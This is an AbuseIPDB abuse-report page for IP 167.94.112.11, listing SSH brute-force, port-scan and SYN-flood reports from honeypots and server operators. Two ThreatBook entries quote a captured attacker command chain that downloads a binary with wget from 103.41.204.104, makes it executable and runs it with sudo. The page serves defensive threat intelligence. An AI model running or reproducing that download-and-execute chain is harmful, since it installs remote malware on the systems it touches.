AbuseIPDB » 167.94.112.11

167.94.112.11 was found in our database!

This IP was reported 26 times. Confidence of Abuse is 10%: ?

10%

ISP	KTB COMPUTER SERVICES COMPANY LIMITED
Usage Type	Commercial
ASN	AS148997
Domain Name	ktbcs.co.th
Country	Thailand
City	Bangkok, Bangkok

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated biweekly.

Report 167.94.112.11

Whois 167.94.112.11

IP Abuse Reports for 167.94.112.11:

This IP address has been reported a total of 26 times from 16 distinct sources. 167.94.112.11 was first reported on May 7th 2023, and the most recent report was 2 weeks ago.

Old Reports: The most recent abuse report for this IP address is from 2 weeks ago. It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp in UTC	Comment	Categories
ThreatBook.io	2025-04-30 00:23:54 (2 weeks ago)	ThreatBook Intelligence: Scanner more details on http://threatbook.io/ip/167.94.112.11	SSH
Anonymous	2025-04-15 16:39:18 (1 month ago)	Apr 15 23:38:46 kepegawaian-2022 sshd[192978]: refused connect from 167.94.112.11 (167.94.112.11)<br ... show moreApr 15 23:38:46 kepegawaian-2022 sshd[192978]: refused connect from 167.94.112.11 (167.94.112.11) Apr 15 23:38:48 kepegawaian-2022 sshd[193444]: refused connect from 167.94.112.11 (167.94.112.11) Apr 15 23:38:55 kepegawaian-2022 sshd[193981]: refused connect from 167.94.112.11 (167.94.112.11) Apr 15 23:39:02 kepegawaian-2022 sshd[194518]: refused connect from 167.94.112.11 (167.94.112.11) Apr 15 23:39:09 kepegawaian-2022 sshd[195586]: refused connect from 167.94.112.11 (167.94.112.11) Apr 15 23:39:16 kepegawaian-2022 sshd[196198]: refused connect from 167.94.112.11 (167.94.112.11) ... show less	Brute-Force SSH
ThreatBook.io	2025-04-04 00:53:58 (1 month ago)	2025-04-03 09:19:29 ["uname -a","hostname","uname -m&&pkill upnpsetup","rm ./upnpsetup","wget -nc ht ... show more2025-04-03 09:19:29 ["uname -a","hostname","uname -m&&pkill upnpsetup","rm ./upnpsetup","wget -nc http://103.41.204.104/k.php?a=x86_64 x86_64 x86_64,5M9069G8E9P19LJJH -O ./upnpsetup","chmod 777 ./upnpsetup","sudo ./upnpsetup","./upnpsetup"] 2025-04-03 08:37:27 ["uname -a","hostname","uname -m&&pkill upnpsetup","rm ./upnpsetup","wget -nc http://103.41.204.104/k.php?a=x86_64 x86_64 x86_64,5M9069G8E9P19LJJH -O ./upnpsetup","chmod 777 ./upnpsetup","sudo ./upnpsetup","./upnpsetup"] show less	Brute-Force
unitrq	2025-02-21 10:49:03 (2 months ago)	2025-02-21T10:48:53.487179+00:00 nordgron.com sshd-session[166954]: Invalid user admin from 167.94.1 ... show more2025-02-21T10:48:53.487179+00:00 nordgron.com sshd-session[166954]: Invalid user admin from 167.94.112.11 port 21236 2025-02-21T10:48:56.660876+00:00 nordgron.com sshd-session[166958]: Invalid user admin from 167.94.112.11 port 25319 2025-02-21T10:48:58.208081+00:00 nordgron.com sshd-session[166963]: Invalid user user from 167.94.112.11 port 45332 2025-02-21T10:48:59.813269+00:00 nordgron.com sshd-session[166966]: Invalid user user2 from 167.94.112.11 port 16015 2025-02-21T10:49:02.978521+00:00 nordgron.com sshd-session[166970]: Invalid user admin from 167.94.112.11 port 45457 ... show less	Brute-Force SSH
stypr	2025-02-04 14:21:40 (3 months ago)	SSH Bruteforcing Attempt / Port Scanning	Brute-Force SSH
NussLi	2025-02-01 22:49:07 (3 months ago)	2025-02-01T22:49:04.428280mailcow sshd[3041170]: Failed password for invalid user admin from 167.94. ... show more2025-02-01T22:49:04.428280mailcow sshd[3041170]: Failed password for invalid user admin from 167.94.112.11 port 62745 ssh2 2025-02-01T22:49:06.240704mailcow sshd[3041318]: Invalid user admin from 167.94.112.11 port 39482 2025-02-01T22:49:04.529277mailcow sshd[3041192]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=167.94.112.11 user=root 2025-02-01T22:49:06.283927mailcow sshd[3041192]: Failed password for root from 167.94.112.11 port 17880 ssh2 ... show less	Brute-Force SSH
NussLi	2025-02-01 18:57:37 (3 months ago)	2025-02-01T18:57:35.529952nextcloud sshd[417179]: Failed password for invalid user admin from 167.94 ... show more2025-02-01T18:57:35.529952nextcloud sshd[417179]: Failed password for invalid user admin from 167.94.112.11 port 44572 ssh2 2025-02-01T18:57:36.842753nextcloud sshd[417187]: Invalid user admin from 167.94.112.11 port 7631 2025-02-01T18:57:35.177455nextcloud sshd[417183]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=167.94.112.11 user=root 2025-02-01T18:57:36.883001nextcloud sshd[417183]: Failed password for root from 167.94.112.11 port 63983 ssh2 ... show less	Brute-Force SSH
ThreatBook.io	2025-01-28 01:08:24 (3 months ago)	2025-01-27 13:54:43 ["uname -a","hostname","uname -m&&pkill upnpsetup","rm ./upnpsetup","wget -nc ht ... show more2025-01-27 13:54:43 ["uname -a","hostname","uname -m&&pkill upnpsetup","rm ./upnpsetup","wget -nc http://103.41.204.104/k.php?a=x86_64 x86_64 x86_64,5M9069G8E9P19LJJH -O ./upnpsetup","chmod 777 ./upnpsetup","sudo ./upnpsetup","./upnpsetup"] show less	SSH
AndCycle	2025-01-14 16:20:57 (4 months ago)	Jan 15 00:20:33 bacztwo sshd-session[977]: Invalid user admin from 167.94.112.11 port 27072 Ja ... show moreJan 15 00:20:33 bacztwo sshd-session[977]: Invalid user admin from 167.94.112.11 port 27072 Jan 15 00:20:36 bacztwo sshd-session[1410]: Invalid user admin from 167.94.112.11 port 44172 Jan 15 00:20:37 bacztwo sshd-session[1436]: Invalid user user from 167.94.112.11 port 32396 Jan 15 00:20:38 bacztwo sshd-session[1470]: Invalid user user2 from 167.94.112.11 port 5871 Jan 15 00:20:41 bacztwo sshd-session[1850]: Invalid user admin from 167.94.112.11 port 37998 Jan 15 00:20:43 bacztwo sshd-session[1968]: Invalid user user from 167.94.112.11 port 6040 Jan 15 00:20:44 bacztwo sshd-session[2178]: Invalid user user2 from 167.94.112.11 port 6205 Jan 15 00:20:47 bacztwo sshd-session[2522]: Invalid user admin from 167.94.112.11 port 11004 Jan 15 00:20:49 bacztwo sshd-session[2567]: Invalid user user from 167.94.112.11 port 15355 Jan 15 00:20:50 bacztwo sshd-session[2594]: Invalid user user2 from 167.94.112.11 port 54365 Jan 15 00:20:53 bacztwo sshd-session[3300]: Invalid user admin from 167.94.11 ... show less	Brute-Force SSH
diego	2025-01-02 21:55:09 (4 months ago)	Events: TCP SYN Discovery or Flooding, Seen 9 times in the last 10800 seconds	DDoS Attack
diego	2025-01-02 06:06:55 (4 months ago)	Events: TCP SYN Discovery or Flooding, Seen 12 times in the last 10800 seconds	DDoS Attack
PulseServers	2024-12-29 09:17:40 (4 months ago)	SSH Brute-Force Attack on a server hosted by PulseServers.com - CA10 Honeypot ...	Brute-Force SSH
Largnet SOC	2024-12-29 03:28:35 (4 months ago)	167.94.112.11 triggered Icarus honeypot on port 22. Check us out on github.	Port Scan Hacking
GregX0	2024-11-24 08:48:49 (5 months ago)	2024-11-24T09:48:46.377881+01:00 03-at sshd[1716382]: Failed password for invalid user admin from 16 ... show more2024-11-24T09:48:46.377881+01:00 03-at sshd[1716382]: Failed password for invalid user admin from 167.94.112.11 port 55097 ssh2 2024-11-24T09:48:45.421115+01:00 03-at sshd[1716384]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=167.94.112.11 user=root 2024-11-24T09:48:46.677619+01:00 03-at sshd[1716384]: Failed password for root from 167.94.112.11 port 55161 ssh2 2024-11-24T09:48:46.986698+01:00 03-at sshd[1716386]: Invalid user admin from 167.94.112.11 port 55230 2024-11-24T09:48:48.646782+01:00 03-at sshd[1716388]: Invalid user user from 167.94.112.11 port 55304 ... show less	Brute-Force SSH
artur9010 (mclist.io)	2024-11-24 08:32:14 (5 months ago)	2024-11-24T10:32:00.079746+02:00 nc2.motyka.pro sshd[1330240]: Invalid user admin from 167.94.112.11 ... show more2024-11-24T10:32:00.079746+02:00 nc2.motyka.pro sshd[1330240]: Invalid user admin from 167.94.112.11 port 55185 2024-11-24T10:32:00.085239+02:00 nc2.motyka.pro sshd[1330240]: Failed password for invalid user admin from 167.94.112.11 port 55185 ssh2 2024-11-24T10:32:12.335988+02:00 nc2.motyka.pro sshd[1330872]: Failed password for root from 167.94.112.11 port 55556 ssh2 2024-11-24T10:32:13.800477+02:00 nc2.motyka.pro sshd[1330919]: Invalid user admin from 167.94.112.11 port 55596 2024-11-24T10:32:13.803569+02:00 nc2.motyka.pro sshd[1330919]: Failed password for invalid user admin from 167.94.112.11 port 55596 ssh2 ... show less	Brute-Force SSH

Is this your IP? You may request to takedown any associated reports. We will attempt to verify your ownership. Request Takedown 🚩